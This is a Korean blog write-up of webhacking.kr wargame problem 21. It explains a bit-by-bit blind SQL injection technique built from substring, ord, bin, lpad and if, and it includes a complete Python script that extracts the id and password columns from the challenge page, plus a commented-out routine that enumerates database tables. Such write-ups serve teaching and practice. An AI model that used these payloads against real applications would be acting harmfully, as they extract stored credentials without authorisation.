'blind sqli'에 해당되는 글 1건
- 2018.01.13 [webhacking.kr] prob21(250pt)
## prob21(web, 250pt)
[Main]
21번 문제는 Blind SQLi 문제였습니다. 우선 문제를 보면 아래와 같이 인풋 박스에 숫자를 입력하고 제출 버튼을 누르면 get 방식으로 no파라미터에 값을 넣고 쿼리를 실행하는 페이지를 볼 수 있습니다.
[그림 1] 문제 페이지
위 [그림 1]에서는 입력 창에 1, 2, 3을 각각 입력하고 제출 버튼을 클릭한 결과입니다. 1과 2는 True라는 결과가 나오는데 3은 False라는 결과가 나옵니다. 우선 문제 제목부터 blind sql injection이라고 하니 "1 and 1=1#"과 "1 and 1=2#"이라는 쿼리를 날려보았습니다. 예상했던대로 앞의 쿼리는 "True"라는 결과를 뒤의 쿼리는 "False"라는 결과를 뱉어냈습니다.
우선 저는 여기서 Get 방식의 바라미터 중에 no말고 id와 pw라는 파라미터가 왜 있는지 생각해보았고, 그 결과 DB에 컬럼 명을 힌트로 준 것이라고 생각했습니다. 그래서 id값과 pw을 알기 위해 MYSQL의 내장 함수인 substring(), ord(), bin(), lpad()함수와 if문을 사용하였는데 우선 쿼리를 짠 원리를 간단하게 설명드리겠습니다.
만약 id컬럼에 "admin"이라는 값이 있다고 했을 때 substring(id, 1, 1)로 한글자 "a"를 떼어냅니다. 그리고 이 결과에 ord()함수를 사용하여 ord(substring(id, 1, 1))이라는 쿼리를 만들어 "a"를 숫자 97로 만들어 냅니다. 이 결과에는 bin()함수를 이용하여 bin(ord(substring(id, 1, 1)))이라는 쿼리를 만들어 97이라는 숫자를 "1100001"으로 변환시킵니다. 이 결과에 또 lpad()함수를 이용하여 lpad(bin(ord(substring(id, 1, 1))), 8, 0)이라는 쿼리를 만들어 "1100001"이라는 2진수를 8자리의 2진수로 만들기 위해 8자리 길이에 맞춰서 왼쪽부터 0으로 채워넣습니다. 그러면 "01100001"이라는 결과가 나오고 이제 이 2진수를 substring()함수를 이용하여 다시 1글자씩 떼어내는데 "substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)"이라는 쿼리를 만들어 "01100001"에서 한 글자 "0"을 떼어냅니다. 그리고 if문을 이용하여 "if(substring(lpad(bin(ord(substring(id, 1, 1))), 8, 0), 1, 1)=0, 1, 0)"이라는 쿼리를 최종적으로 만들어내서 "0"이면 1을 리턴하고 "1"이면 0을 리턴하는 식으로 True, False를 판단하게 됩니다.
위 방식을 이용하면 최종적으로 "admin"이라는 글자를 알아내기 위하여 "a", "d", "m", "i", "n"이라는 글자 하나하나마다 2진수 8자리로 변환하여 1비트씩 비교하여 값을 얻어낼 수 있습니다. 이렇게 귀찮은 짓을 하는 이유는 이 방식을 사용하지 않으면 한 글자 한 글자마다 아스키 값으로 하나하나 비교하여야 하는데 이는 시간이 너무 오래 걸리고, 범위를 반토막 내서 찾는 2진 탐색기법을 하면 조금 더 빠르지만 문자열의 범위가 "0-9a-zA-Z"와 특수문자까지 포함하면 위 방식보다 시간이 더 오래 걸리기 때문에 저는 위 방식을 사용합니다.
이렇게 코드를 짜고 나서 id와 pw를 찾으면 no=1일 때는 guest계정, no=2일 때는 admin계정이 나오는데 admin계정의 pw가 이 문제의 플래그였습니다.
[Exploit Code] - blindsql_prob21.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | import requests url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php" header = {'Cookie':'PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX',} #params = {'no':'1', 'id':'', 'pw':''} key_id = "" key_pw = "" def getLength(field): for i in xrange(50): payload = "1 and length(" + field + ")="+str(i)+"#" params = {'no':payload, 'id':'', 'pw':''} req = requests.get(url = url, params = params, headers = header) res = req.text if "True" in res: print "[+] " + field + " length : " + str(i) break def getContent(field): #length = int(raw_input("Input " + field + " length : ")) content = "" for i in xrange(50): #for i in xrange(length): binary = "" for j in xrange(8): payload = "2 and if(substring(lpad(bin(ord(substring("+field+","+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0,1,0)" params = {'no':payload, 'id':'', 'pw':''} req = requests.get(url = url, params = params, headers = header) res = req.text if "True" in res: binary += '0' else: binary += '1' content += chr(int(binary, 2)) if int(binary, 2) == 0: print "[*] Blind SQLi Search End." print "[*] " + field + " : " + content[:-1] " => found!" break print "[+] Content Finding : " + content ''' def getTableName(): content = "" for i in xrange(50): for j in xrange(50): binary = "" for k in xrange(8): payload = "2 and if((select substring(lpad(bin(ord(substring(table_name,"+str(j+1)+",1))),8,0),"+str(k+1)+",1) from information_schema.tables limit "+str(i+1)+",1)=0,1,0)" params = {'no':payload, 'id':'', 'pw':''} req = requests.get(url = url, params = params, headers = header) res = req.text if "True" in res: binary += '0' else: binary += '1' content += chr(int(binary, 2)) if int(binary, 2) == 0: print "[*] Blind SQLi Search End." print "[*] " + field + " : " + content[:-1] print "[*] " + field + " found!" print "[+] Table Finding : " + content ''' if __name__ == '__main__': #getLength("id") # id length finding #getLength("pw") # pw length finding getContent("id") # id content finding getContent("pw") # pw content finding #getTableName() # ref1) https://www.geeksforgeeks.org/get-post-requests-using-python/ # ref2) https://dev.mysql.com/doc/refman/5.7/en/string-functions.html # ref3) http://choiys.tistory.com/entry/Wargamekr-Web700ip-log-table?category=684299 | cs |
'Wargame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] prob20(200pt) (0) | 2018.01.19 |
---|---|
[webhacking.kr] prob8(350pt) (0) | 2018.01.18 |
[webhacking.kr] prob18(100pt) (0) | 2018.01.12 |
[webhacking.kr] prob17(100pt) (0) | 2018.01.12 |
[webhacking.kr] prob10(250pt) (0) | 2018.01.12 |